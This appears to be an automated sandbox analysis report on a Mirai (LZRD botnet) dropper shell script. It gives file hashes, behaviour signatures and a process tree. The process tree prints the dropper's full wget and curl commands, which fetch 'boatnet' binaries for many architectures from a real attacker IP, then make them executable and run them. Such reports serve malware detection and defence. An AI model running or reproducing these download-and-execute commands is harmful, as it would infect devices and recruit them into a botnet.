Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    26-01-2025 04:01

General

  • Target

    ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh

  • Size

    2KB

  • MD5

    2b26df4917fc623af81b73ca389f0fce

  • SHA1

    9d1a15bf35f8518bef71a9e691d1c2c5cc705d67

  • SHA256

    ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa

  • SHA512

    2f118fc82120eed2f050c2c40f37cd4418ced6b8ab314cc0c371682f606d8df258550147e03976b70b45c4678ecb96b7e5db9f69e7b5453c140acb0ca1c9a93f

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 55 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh
    /tmp/ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:696
    • /usr/bin/wget
      wget http://178.215.238.156/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:699
    • /usr/bin/curl
      curl -O http://178.215.238.156/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:715
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:724
      • /bin/chmod
        chmod +x boatnet.x86 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh systemd-private-ee577a3d3cd4487fb8e20bbde8522a18-systemd-timedated.service-E7V3LL WTF
        2⤵
        • File and Directory Permissions Modification
        PID:725
      • /tmp/WTF
        ./WTF
        2⤵
          PID:726
        • /usr/bin/wget
          wget http://178.215.238.156/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /usr/bin/curl
          curl -O http://178.215.238.156/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:731
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:732
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh systemd-private-ee577a3d3cd4487fb8e20bbde8522a18-systemd-timedated.service-E7V3LL WTF
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/WTF
          ./WTF
          2⤵
            PID:734
          • /usr/bin/wget
            wget http://178.215.238.156/hiddenbin/boatnet.arc
            2⤵
            • Writes file to tmp directory
            PID:736
          • /usr/bin/curl
            curl -O http://178.215.238.156/hiddenbin/boatnet.arc
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:737
          • /bin/cat
            cat boatnet.arc
            2⤵
              PID:742
            • /bin/chmod
              chmod +x boatnet.arc boatnet.mips boatnet.x86 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh systemd-private-ee577a3d3cd4487fb8e20bbde8522a18-systemd-timedated.service-E7V3LL WTF
              2⤵
              • File and Directory Permissions Modification
              PID:744
            • /tmp/WTF
              ./WTF
              2⤵
                PID:745
              • /usr/bin/wget
                wget http://178.215.238.156/hiddenbin/boatnet.i468
                2⤵
                  PID:748
                • /usr/bin/curl
                  curl -O http://178.215.238.156/hiddenbin/boatnet.i468
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:753
                • /bin/cat
                  cat boatnet.i468
                  2⤵
                    PID:762
                  • /bin/chmod
                    chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh systemd-private-ee577a3d3cd4487fb8e20bbde8522a18-systemd-timedated.service-E7V3LL WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:763
                  • /tmp/WTF
                    ./WTF
                    2⤵
                      PID:764
                    • /usr/bin/wget
                      wget http://178.215.238.156/hiddenbin/boatnet.i686
                      2⤵
                        PID:766
                      • /usr/bin/curl
                        curl -O http://178.215.238.156/hiddenbin/boatnet.i686
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:772
                      • /bin/cat
                        cat boatnet.i686
                        2⤵
                          PID:780
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:781
                        • /tmp/WTF
                          ./WTF
                          2⤵
                            PID:782
                          • /usr/bin/wget
                            wget http://178.215.238.156/hiddenbin/boatnet.x86_64
                            2⤵
                              PID:784
                            • /usr/bin/curl
                              curl -O http://178.215.238.156/hiddenbin/boatnet.x86_64
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:792
                            • /bin/cat
                              cat boatnet.x86_64
                              2⤵
                                PID:800
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:801
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:803
                                • /usr/bin/wget
                                  wget http://178.215.238.156/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:804
                                • /usr/bin/curl
                                  curl -O http://178.215.238.156/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:806
                                • /bin/cat
                                  cat boatnet.mpsl
                                  2⤵
                                    PID:807
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:808
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Writes file to system bin folder
                                    • Reads runtime system information
                                    PID:809
                                  • /usr/bin/wget
                                    wget http://178.215.238.156/hiddenbin/boatnet.arm
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:813
                                  • /usr/bin/curl
                                    curl -O http://178.215.238.156/hiddenbin/boatnet.arm
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:814
                                  • /bin/cat
                                    cat boatnet.arm
                                    2⤵
                                      PID:815
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:816
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                        PID:818
                                      • /usr/bin/wget
                                        wget http://178.215.238.156/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:821
                                      • /usr/bin/curl
                                        curl -O http://178.215.238.156/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:828
                                      • /bin/cat
                                        cat boatnet.arm5
                                        2⤵
                                          PID:833
                                        • /bin/chmod
                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:835
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:836
                                          • /usr/bin/wget
                                            wget http://178.215.238.156/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:839
                                          • /usr/bin/curl
                                            curl -O http://178.215.238.156/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:846
                                          • /bin/cat
                                            cat boatnet.arm6
                                            2⤵
                                              PID:853
                                            • /bin/chmod
                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:854
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                                PID:855
                                              • /usr/bin/wget
                                                wget http://178.215.238.156/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:859
                                              • /usr/bin/curl
                                                curl -O http://178.215.238.156/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:862
                                              • /bin/cat
                                                cat boatnet.arm7
                                                2⤵
                                                  PID:863
                                                • /bin/chmod
                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:864
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:865
                                                  • /usr/bin/wget
                                                    wget http://178.215.238.156/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:867
                                                  • /usr/bin/curl
                                                    curl -O http://178.215.238.156/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:868
                                                  • /bin/cat
                                                    cat boatnet.ppc
                                                    2⤵
                                                      PID:869
                                                    • /bin/chmod
                                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:870
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:871
                                                      • /usr/bin/wget
                                                        wget http://178.215.238.156/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:873
                                                      • /usr/bin/curl
                                                        curl -O http://178.215.238.156/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:874
                                                      • /bin/cat
                                                        cat boatnet.spc
                                                        2⤵
                                                          PID:875
                                                        • /bin/chmod
                                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:876
                                                        • /tmp/WTF
                                                          ./WTF
                                                          2⤵
                                                            PID:877
                                                          • /usr/bin/wget
                                                            wget http://178.215.238.156/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:879
                                                          • /usr/bin/curl
                                                            curl -O http://178.215.238.156/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:880
                                                          • /bin/cat
                                                            cat boatnet.m68k
                                                            2⤵
                                                              PID:881
                                                            • /bin/chmod
                                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:882
                                                            • /tmp/WTF
                                                              ./WTF
                                                              2⤵
                                                                PID:883
                                                              • /usr/bin/wget
                                                                wget http://178.215.238.156/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:885
                                                              • /usr/bin/curl
                                                                curl -O http://178.215.238.156/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:886
                                                              • /bin/cat
                                                                cat boatnet.sh4
                                                                2⤵
                                                                  PID:887
                                                                • /bin/chmod
                                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ce8d8f245b73a552b5ad5d06d232145c76a29fef26172df984c49f8986b065aa.sh WTF
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:888
                                                                • /tmp/WTF
                                                                  ./WTF
                                                                  2⤵
                                                                    PID:889

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  23KB

                                                                  MD5

                                                                  f238b50fab82b72ec942240ea21e4b63

                                                                  SHA1

                                                                  a2b5b5b6d5ffa8f781eb12d995641ff26039fa32

                                                                  SHA256

                                                                  a12495b9df7c33ea0cfe8c10debd69be647203b3e7a5fe8fbdf2ed5c4ee0e0a3

                                                                  SHA512

                                                                  b1dcc8decbfac65af609a7d8fb47d9ef09991bcdc3188ae19e35ca91d502248854461c14c2b99e34a73538ad174bf3c481752aa56d782fc39d2737ca856df696

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  105KB

                                                                  MD5

                                                                  6753ff1005cbf935a157f164dde44287

                                                                  SHA1

                                                                  e1ba7ef5ec535682d54c11f877226668414387ca

                                                                  SHA256

                                                                  478a90d3e840d13ec54602d091a0def7614833865dcce67df97cdba0f9effe37

                                                                  SHA512

                                                                  fb7861aeef23d9d2c6308a092f44ba1ae2303a30180d0a43a5397ee9d63e14a8cad6cf73730386c645873c3679ba4a0cc899c4d8af87a78511f319a4117fb1c6

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  f1c24d9fa40a047ae22d2d3ae7dfeac9

                                                                  SHA1

                                                                  750274b02d5f5b00026a4f55b020f4285c693533

                                                                  SHA256

                                                                  219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                                                  SHA512

                                                                  36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  a8f502a6fb3b7b940e922c951d9e493a

                                                                  SHA1

                                                                  fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                                                  SHA256

                                                                  748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                                                  SHA512

                                                                  e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  57KB

                                                                  MD5

                                                                  b6aec3172367d08ebd4e7dfea7b1e712

                                                                  SHA1

                                                                  46301980f40739575530623413f9b897e088cb58

                                                                  SHA256

                                                                  0f616cc0b9a82598e97b93e16bc73a67146cd53e1668ea4ff745844a93c9f492

                                                                  SHA512

                                                                  dbabe77cf3424a3379a0d7ebf2c1ba541476719b17cfad43d99ceb3dc7eb77067e37319ec903236febb6e4d872084d00cea851ab2615b602afb6d319fa92126a

                                                                • /tmp/boatnet.x86

                                                                  Filesize

                                                                  20KB

                                                                  MD5

                                                                  371a8089f0d9b997dede00d908f2d729

                                                                  SHA1

                                                                  4dc06821ff7cec56b2bc31f788084bc1e12af2d7

                                                                  SHA256

                                                                  02062dff2765a4d772fa31daea8de2db65ea363cebf6662fda7426fe56c93a2e

                                                                  SHA512

                                                                  ca1706b263af403bad3872fe29977b6c78725e707eaa0fb2d4f613bfb0f7dcf75a3196a444f49ed6eeac8120df8132b073b94ee2b0d6b6f77055d6200f65d754